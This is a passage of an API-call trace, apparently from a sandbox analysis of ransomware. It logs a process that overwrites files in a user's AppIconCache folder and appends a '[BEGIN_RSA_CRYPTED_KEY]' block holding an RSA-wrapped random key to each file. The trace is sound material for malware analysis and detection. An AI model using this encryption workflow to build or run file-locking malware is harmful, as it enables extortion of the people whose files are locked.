(in: hFile=0x1afc, lpBuffer=0x2f3d038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3d038*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0245.799] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0245.799] WriteFile (in: hFile=0x1afc, lpBuffer=0x33f7020*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f7020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0245.799] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0245.799] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0245.800] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0245.800] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0245.800] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0245.800] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0245.800] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="w3Oy3sf/vWndcMvZYbZ7AuqO8w5rrud7/IVj4rAvI9IRJfrZLhhSBbTO1n6RKbBU\nu+hC6VKClv+FO78Y7i08iZ+qZ3hQ1z4tHz7IIbgY0/ARBeI+ctJ06d5qjO4oymZn\n76hp4YV7QzoQe5q6riKGMwesaAmCAKS8nzIaeqgDYTx7DG0t68MQ2T7FSZF3HgX2\npdmitp/LV4Ll/U7VLhjehf6Y3RIJabEAF+YvJ0+VQLHJjUhNIIW+FvHk0viHleiq\nRGh6QIl6+kRBRM2SLH9L9VjOJJDx1tBr9SKKlWSPJdahbf5C6c3bcsHsUq+ohsbH\n1LByxIW2hDAgBhozh0+BTw==\n", pcchString=0x2e3f9a8) returned 1 [0245.800] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0245.800] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0245.800] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0245.800] CloseHandle (hObject=0x1afc) returned 1 [0245.803] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0245.803] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{D2653F73-A5FA-4D15-B21C-E630C96E25AA}", dwFileAttributes=0x80) returned 1 [0245.803] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{D2653F73-A5FA-4D15-B21C-E630C96E25AA}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{d2653f73-a5fa-4d15-b21c-e630c96e25aa}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0245.804] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0245.804] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f3d038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3d038*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0245.805] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0245.805] WriteFile (in: hFile=0x1afc, lpBuffer=0x33f7020*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f7020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0245.805] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0245.805] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0245.805] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0245.805] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0245.805] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0245.806] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0245.806] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="CywUVIUs/rSeypflmT6AD1s14l1oIF7eoILMBjhqWX3h1svWJp9wgZ2k8/4IIMKO\nG30Tf4I6S7Ua+BYYtGcAtAX+55bWgxILXIYMeV7bOzD2RALfquGE/tsEXkSyjY+G\noV8mJB5OBagwhtnNpUzy0vuXOQZfPRSx7/ofw5NF0nh+5/SUhYAj0Jh46QuM14yf\nHePIHNGzOhm8k6CQbYkAVVAn+qFhA/UneKgSnC5QlxuIzTeUdBj9guKODphr1a/a\nQsidjr7HefzlS6ostgn/9EsEfoqB6DjdvfCJqyD1N3mhUFsHvvNIumSyTZjE9wfy\n+KvzDwxrtry27+uieZ7AnQ==\n", pcchString=0x2e3f9a8) returned 1 [0245.806] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0245.806] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0245.806] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0245.806] CloseHandle (hObject=0x1afc) returned 1 [0245.820] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0245.820] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{D1B85B9A-7DA9-4BFB-81AE-9FA53F5CF8F6}", dwFileAttributes=0x80) returned 1 [0245.821] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{D1B85B9A-7DA9-4BFB-81AE-9FA53F5CF8F6}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{d1b85b9a-7da9-4bfb-81ae-9fa53f5cf8f6}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0245.821] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0245.821] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f3d038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3d038*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0245.822] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0245.822] WriteFile (in: hFile=0x1afc, lpBuffer=0x33f7020*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f7020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0245.822] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0245.823] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0245.823] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0245.823] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0245.823] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0245.823] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0245.823] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="1AHbAOHeEpHN/dEa79LeqLBPRW0t79Q6aOc+O5VQdA3Lsomx7Nvfr2RVACswwEse\nstzZ6akk5bYtvGgwfaM4JpqXuvIG+5pcPPj0lV5eciNPHMI3qb7MWQGGpgKS7NLD\nnBjyGQFCFAHLBoXuZI1EIKNH8SpXx3k/cOZeeSeZOE6syb4MrVhAovTC6bKAiD5z\nASe7r+l347gksSqSYK1t5424Et/zt0Q+jjr89YAEmB+saqjyDp1Y43V6nS1GqsJ4\nipDsp2j/IXhurae8MHJ/PYXAm3LedhBLkLOQX95YTlsY7OKed1+YsTy1Ew9GT2qN\ny+EtdmqjEwUGBNhLGODXaQ==\n", pcchString=0x2e3f9a8) returned 1 [0245.823] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0245.823] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0245.823] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0245.823] CloseHandle (hObject=0x1afc) returned 1 [0245.827] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0245.827] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{CF026799-E48E-4C9C-A4C5-90F40E61A8B9}", dwFileAttributes=0x80) returned 1 [0245.828] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{CF026799-E48E-4C9C-A4C5-90F40E61A8B9}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{cf026799-e48e-4c9c-a4c5-90f40e61a8b9}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0245.828] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0245.828] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f3d038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3d038*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0245.830] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0245.830] WriteFile (in: hFile=0x1afc, lpBuffer=0x33f7020*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f7020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0245.830] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0245.830] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0245.830] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0245.830] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0245.830] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0245.830] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0245.830] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="6fM2VLmafyNxpQSGRPzLDJL9WJJC5zIJjFXdpsFEtAq8ckDqe1Tv4UGikuz32XOR\ntd+AKjKpHnruUaUdtCRUVeEeugXzOwwSW3i3P9sAqmgdxw59MBx/B2Jg3ATsl0Vq\nyM4zRTvr+bozNl+U+VJ28vHfwoscYLA7/8uUbvUgPhGqCjBPhPFAVlI+wpMQ8iHm\nPHYeMnk8Oh3DvBiR7mBdubzzulLmnsfFykxfhXsQYa+mbyYhAMc2k0EyC8GqbjzQ\nmPIE6EDZVtFu03AVu052U4yJsUFhASslEzZN1tkRHgI4IxqXfE/IjQ+6csA4ccDT\ndm/q0oAkNSdP/81aPXerZQ==\n", pcchString=0x2e3f9a8) returned 1 [0245.830] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0245.830] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0245.830] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0245.831] CloseHandle (hObject=0x1afc) returned 1 [0245.832] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0245.832] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{CEB91A43-1CEE-4EEE-98B6-9A4C011B37FA}", dwFileAttributes=0x80) returned 1 [0245.833] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{CEB91A43-1CEE-4EEE-98B6-9A4C011B37FA}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{ceb91a43-1cee-4eee-98b6-9a4c011b37fa}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0245.833] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0245.833] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f3d038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3d038*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0245.834] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0245.834] WriteFile (in: hFile=0x1afc, lpBuffer=0x33f7020*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f7020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0245.834] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0245.835] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0245.835] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0245.835] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0245.835] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0245.835] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0245.835] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="glTajdT5rF7awYLShmirUeEI9qf1SP2nZX74kA/tR9Ixvatv4blz5c9QHcC6Apj3\nfikuO3bURv8x61AaO0dkQmsoLwXBS88rW0PycUFDb/yO55LDv34qGj+qhZHz9DFO\nUBnt3QWcM54c6/KDyXLVcZBSZMmZiva8dOh7SoYGuKFrWLm9bOZbzWMnfy0i7kIK\nBwELYj4rtzSgJu0RTV9MF1BwJdjtro5R6B6eFKY4qqMMS5a9ZbkCmjv7qRvuH4qp\naJpqS1UpjHL6jtEnKoVhi0FIojW6IuVZDofZnU5wtaksNBQ/Q4wRXJx9GOTg9cbR\nNuFuJCD5rabQoh/W1jUHnQ==\n", pcchString=0x2e3f9a8) returned 1 [0245.835] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0245.835] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0245.835] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0245.835] CloseHandle (hObject=0x1afc) returned 1 [0245.836] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0245.836] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{CD020AAD-9574-4AF9-8BE0-5DEEEA418F08}", dwFileAttributes=0x80) returned 1 [0245.837] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{CD020AAD-9574-4AF9-8BE0-5DEEEA418F08}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{cd020aad-9574-4af9-8be0-5deeea418f08}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0245.837] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0245.837] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f3d038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3d038*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0245.941] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0245.941] WriteFile (in: hFile=0x1afc, lpBuffer=0x33f7020*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f7020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0245.941] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0245.941] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0245.941] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0245.942] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0245.942] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0245.942] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0245.942] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="U8sx13CxRF13RetXArqWj6Muy6eaEwUME8Bs4mXK/hCs8b0glRxFzl55CPcIDd/H\ntovMshXfA2eWob/uxS0TVQV0g+XvGy6XOdg9mV+Ujg4gnhqO2IE5NW55Yl9IQwxH\nlwYY72ZGrwJv9ENYuktDnXN8jC0vKgvvylRR7Yug5hR9WNb9CDQs7GANnJi8AZtn\nkbo53R/N6pfQ/EYsR9b0C/yFyXF5aHoqXmHOgiQa7orL6yhZiakYyCZMg7cqDnTO\nVHS1ut7CaC2pwuDJP+7ej7iBYEJGOEzP2v5VZAXCc3dl2Af97fpST8+Sdi3/D2kX\nU9HtNDFYVdTJd4LwhkFVmA==\n", pcchString=0x2e3f9a8) returned 1 [0245.942] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0245.942] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0245.942] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0245.942] CloseHandle (hObject=0x1afc) returned 1 [0245.944] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0245.944] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{CCFCB7FC-2028-4A4A-ABF5-E54B32C6B79B}", dwFileAttributes=0x80) returned 1 [0245.945] CreateFileW 